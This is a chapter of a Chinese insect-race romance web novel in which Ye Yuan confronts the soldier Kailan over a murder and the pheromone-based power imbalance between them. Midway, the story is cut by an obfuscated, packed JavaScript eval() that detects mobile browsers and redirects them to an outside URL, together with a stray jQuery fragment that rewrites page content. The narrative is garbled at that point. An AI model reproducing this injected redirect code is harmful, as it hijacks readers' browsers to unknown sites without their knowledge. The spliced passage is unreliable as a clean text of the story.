凯兰在晨光中醒来,他盖着一件毛茸茸的灰色毛毯,蜷缩在沙发旁边的地毯上。
精神领域的混乱和疼痛感完全消失了,他从来都不曾感受到如此清明,也从来不曾,昨夜的记忆慢慢回笼,感受过那样的意乱情迷。
原来接受信息素是可以不疼的。
但还有更多,更多的针锋相对和难堪的话语,他都说了什么?雄虫呢?雄虫是不是已经走了?他慌慌张张地站起来,又腰酸腿软地跌回了地上。
他顾不上这种异样的感觉,挣扎着起身,披上外套就要匆匆出门。
明明手已经握上门把,他却不敢开门。
雄虫说过,他们之间没有任何关系。就算他找到了雄虫,就凭他昨天放肆的姿态...雄虫会怎么看他?
他都做了什么?
他是不是再也没有没办法,见到雄虫了?
凯兰惨白着脸,倚靠在门框上。
他许久没有接受过信息素,又有惩戒环的抑制,身体机能只能慢吞吞地恢复。因此,他没有察觉门外传来的脚步声。
门突然开了。
“凯兰?你在门口做什么?”叶愿提着大包小包,几个小圆滚滚举着一大堆东西陆陆续续地滚了进来。
她进门忙活了一阵,餐桌上便摆满了热腾腾的各式各样的餐点。
她转过身去看,雌虫还呆愣在原地。
叶愿下意识地走过去,用手背测了一下凯兰额头的温度,她小声嘀咕着:“也没发烧啊。”
她的手还微微带着清晨的凉意,又和着食物的烟火味。
凯兰仿佛重新回到了现实世界,他哑着嗓子,不确定地呼唤:“雄主?”
“先去坐下来吃饭吧。”叶愿有些不好意思地放下手,昨天情绪有点上头,不由得说了很重的话。
她早上刚打电话问了洛尔坎,本来是想问凯兰为什么还没醒,怕昨天折腾地确实有点狠。
对方实在太热情了,不由自主地问了一下一个虫哪里租房比较便宜。
结果军医吓了个半死,反复确认凯兰确实是睡着了而不是被她打昏过去了。
又小心翼翼地赔礼道歉,让她想买哪里的房产就买哪里,最后反复想送给她一套庄园去“弥补凯兰的过失”。
她才意识到,这件事在虫族可能确实很严重。
也是,按照虫族的雌雄比例,估计雄虫刚出生,在医院里都能定上800个娃娃亲,哪有一只虫住的道理。
她虽然不是“叶愿”,但还用着人家的身体。信息素也不太会用,昨天就一味地按照“释放教程”练习,雌虫最后被浓郁的信息素逼得眼泪都流不出来了,眼睛红红的看着她,求饶的话也说不成句。
就算她没碰雌虫,还是觉得自己有点过分了。一大早就带着小圆滚滚轰轰烈烈地出了门,她也不知道雌虫爱吃什么,只能刷着对方的卡,全买了一遍。
怎么这么一说,好像还有点渣?
“咚”的一声把她吓了一跳,雌虫眼睛红红的跪在地上。
他犹豫了一会,最后还是以雌侍的礼仪,膝行到餐桌旁边,端正地跪在她的椅子旁。
凯兰感觉眼前这一幕不太真实,他试探性地想去触摸雄虫垂下来的手,又犹豫着变了方向,捏了捏雄虫的衣袖。
叶愿趁机拉住他的手,凯兰不敢使劲,顺着力,坐到了她旁边的椅子上。
他有些不知所措地拿起叶愿塞到他手里的勺子,谨慎地仿佛捧着一个要爆炸的炸弹。
雌虫看上去有很多话想问,但又不敢打扰她吃饭,小心翼翼地吃了半天,面前的粥只凹下去一个小坑。
叶愿一口吞下一个翠绿色的饭团,看了一眼凯兰说:“吃完,我们讨论一下”雄主”的事。”
雌虫面前的粥以肉眼不可见的速度消失了。
她又递了一个饭团过去,雌虫像是对待命令一样,迅速地接过去。
叶愿实在觉得雌虫这样一板一眼的姿态有些可爱,只是看着他,就忍不住地勾起嘴角。
他们在晨光下吃着早饭,谁都没说什么,像是怕打破了这一时刻的静谧。
长久的沉默后,叶愿首先开口了:“你知道有虫在指示雄虫...折磨你?”
高大的军雌微不可见地轻轻点头。
“监控有必要担心吗?我们可以去更安全的地方谈话。”
“您不必担心,我会处理好的。”雌虫低声说。
“那就好。”叶愿长出一口气,她直视着凯兰,又问:“我可以相信你吗?”
“您是指是昨日的提议吗?”
经过昨天的争执,叶愿也明白雌虫的疑惑,毕竟在虫族这个畸形的设定中,雌虫只是困于雄虫的信息素。
也亏于信息素只能自主控制释放,不然雄虫靠什么立足?
靠和摆设一样的大脑,还是相较于雌虫极其孱弱的身体?
这也是为什么她昨天和凯兰说要离开,对方就一改态度。
雄虫空有高贵的地位,却没有根本的权势,a级、b级按信息素和精神力分了高低后,还是事事都要依赖于雌虫。
说的过分一点,他们就像是一支精致美丽的花瓶、被圈养在家中的宠物,雌虫向他们许诺优裕的生活,却也不指望什么,好的能提供一点情绪价值,坏的也就默默忍受。
她昨天和凯兰说要离开,估计和家里鱼缸里的鱼突然开口说要自己出去住没什么区别,在虫族眼里都是一样的荒谬。
“凯兰,”她突然叫了雌虫的名字,她知道自己也许有些悲观,但不代表这不是事实,她向来不吝啬于把事情往最坏的角度思考。
她又问了一遍:“现在没有什么雄主,没有什么雌虫、雄虫,我问你,从平等的角度,我可以相信你吗?”
她还有很重要的事情要做,雄虫的优待只不过是安乐乡的虚幻,雌虫的臣服也不过是限于精神领域的崩溃。
她不喜趁人之危,也习惯公事公办。
她已经抛出了她的筹码——我可以给你信息素,没有皇室或贵族控制的信息素,保证你精神领域的稳定,你能给我,我想要的东西吗?
雌虫放下勺子,他看上去仍是有些疑惑和不习惯,但是他理解的很快。
他说:“可以。”
“你是否知道谁在指示雄虫?是或不是。”
“是。”
“雄虫死亡和他们是否有关系。”
“是。”
“雄虫的死亡是否和你有关?”
凯兰的眼神变了,墨绿色的眼睛晦暗不明,迟疑着没说出答案。
“是。”这个停顿已经足以让叶愿替他给出了答案。
他们之间又陷入了沉默。
凯兰惊惧于这个对话的发生,他犹疑不定地打量着叶愿,在接受了所有不合常理的相处后,他才第一次真正认识到这个雄虫的不同。
“怎么?”叶愿笑了笑,说出的话却刻薄地惊人:“只能接受我对你好,照顾你,下跪讨好蒙蔽我,获得信息素便万事大吉。但一有不需要就借刀杀人或者直接自己动手?如果我昨天拒绝和你合作,不提供信息素,我是不是和他一个下场?”
她说出口,才发现自己一时情绪激动,说了好几个成语,之前也没见过自己这么文采斐然。
可能还是被昨天雌虫的试探和威胁气到了,冷静,冷静,不气,为自己的乳腺着想。
看到凯兰困惑和惊讶混杂在一起的表情,墨绿色的眼睛雾蒙蒙地看上去还有一点委屈。
叶愿无名火又起,她火冒三丈地想:亏我在那分析半天,还觉得他可怜碰上这样一个智障黑心雄虫,被美色所蒙蔽心疼他。
这个外星死虫子身体反正又没有乳腺,我发火怎么了?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574979|171525||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我管这个雌虫的死活,今天还一大早跑出去买早餐,结果是一个窝出来的黑心芝麻丸,不知感恩不懂珍惜!
她想着想着气极了,高高地挥起手就要打下去。
雌虫明显还在思考,看着她这副样子身体却下意识地做出了反应,从椅子滑到地上跪了下去,也没有任何抵抗,就直挺挺地跪在那里。
叶愿一惊,手都快打到雌虫脸上又赶紧缩了回来,磕到桌角一时疼的呲牙咧嘴。她捂着手,却忘了吹,心里只想着:我为什么会发这么大的火?
这个情绪太陌生了,异样地在她心中咆哮,让她都认不清自己。
她惊慌极了,此刻心里只有一个想法。
“我要走!”
这几个字不成语调,她明明想平稳地说,却控制不住地吼出了声。
大门旁有一个衣帽间,门开着,背面镶着一面大大的全身镜,她看见跪在地上的凯兰和站在雌虫身前的她,明明雄虫的眉眼和她很像,此刻却狰狞着五官陌生地回望着她。
凯兰离那面镜子很近,他看着雄虫脸上熟悉的表情,稍微侧了身,藏起脆弱的部位,以免雄虫砸碎镜子的时候割伤大血管。
叶愿却没有砸,她只是静静地看着镜子,然后过去把门关上了。
她推开椅子,安静地盘腿坐到地上。
雌虫却在这个时候却开口了,他看着雄虫磕红的手,低声说:“我先带您去看医生吧。”
叶愿抬起头,雌虫极为关切地看着她。他低声说:“是贱...我的错。”
虫族世界,真的搞不懂。明明刚刚还剑拔弩张,谈论去留生死,现在却在关心一个连淤青都没形成的伤口。叶愿没好气地看了一眼红痕,说它是伤口还是抬举它了。
“我没事。”
雌虫却自顾自地道歉:“虽然有些词汇没听懂,但是我想我应该没有理解错。”
“您...”
凯兰看着面前这奇异的、不同寻常的虫,不知是被残留的信息素影响还是出于悸动的心脏。
他不由自主地轻声说:“您很不一样,我必须先对您的试探表示歉意,是我过于粗鲁和莽撞,用见不得光的手段试探您。”
一股莫名的酸涩情绪在他胸中徘徊,该从何说起?
他只觉得自己有太多做错的地方,但是理智和之前的经验告诉他,为了防范皇室的介入、为了保证精神领域的稳定,为了继续保持清醒和理智地支撑起第一军团,他应该这么做。
在知道“叶愿”的死和他有关后,雄虫会害怕吧,会厌恶他吧。
雄虫想要离开,若他自请罚,以“威逼和胁迫雄主”重罪算的话,雄保会那边会强制撤销他们之间的关系,皇室就算不满计划失败,但是这是律法强制执行,他们也无能为力,不会为难雄虫。
以军功在身,没有雄虫的特权,皇室手伸的再长也不可能割去他的翅翼。
就是他精神领域还没完全恢复,这次进了惩戒所,也不知道要多久才能出来。他得先回军部安排,让白林再代领一段时间公务。
只是一瞬间,凯兰心中便有了决断,他眷念地看了雄虫一眼,这个曾经最为痛恨的模样,现在却怎么也看不够一般。
“阁下,我先带您去医院吧。”
雄虫的手此刻带着青紫,磕到的地方已经肿了起来。
这是什么脆弱的体质,叶愿惊呆了。
只不过就是磕了一下,凯兰抓住她的手腕后也仅仅是泛红了一瞬。
或者说,雌虫就算在那样混乱的情况下,也记得不能伤到她。
这个想法像羽毛轻柔地蹭过了她的心,荡起的空气也是软绵绵的,却轻易吹散了心中莫名的怒火。
“好吧,去找昨天那个医生吧,我答应他要带你去检查一下精神领域。”
叶愿听见自己柔和地说。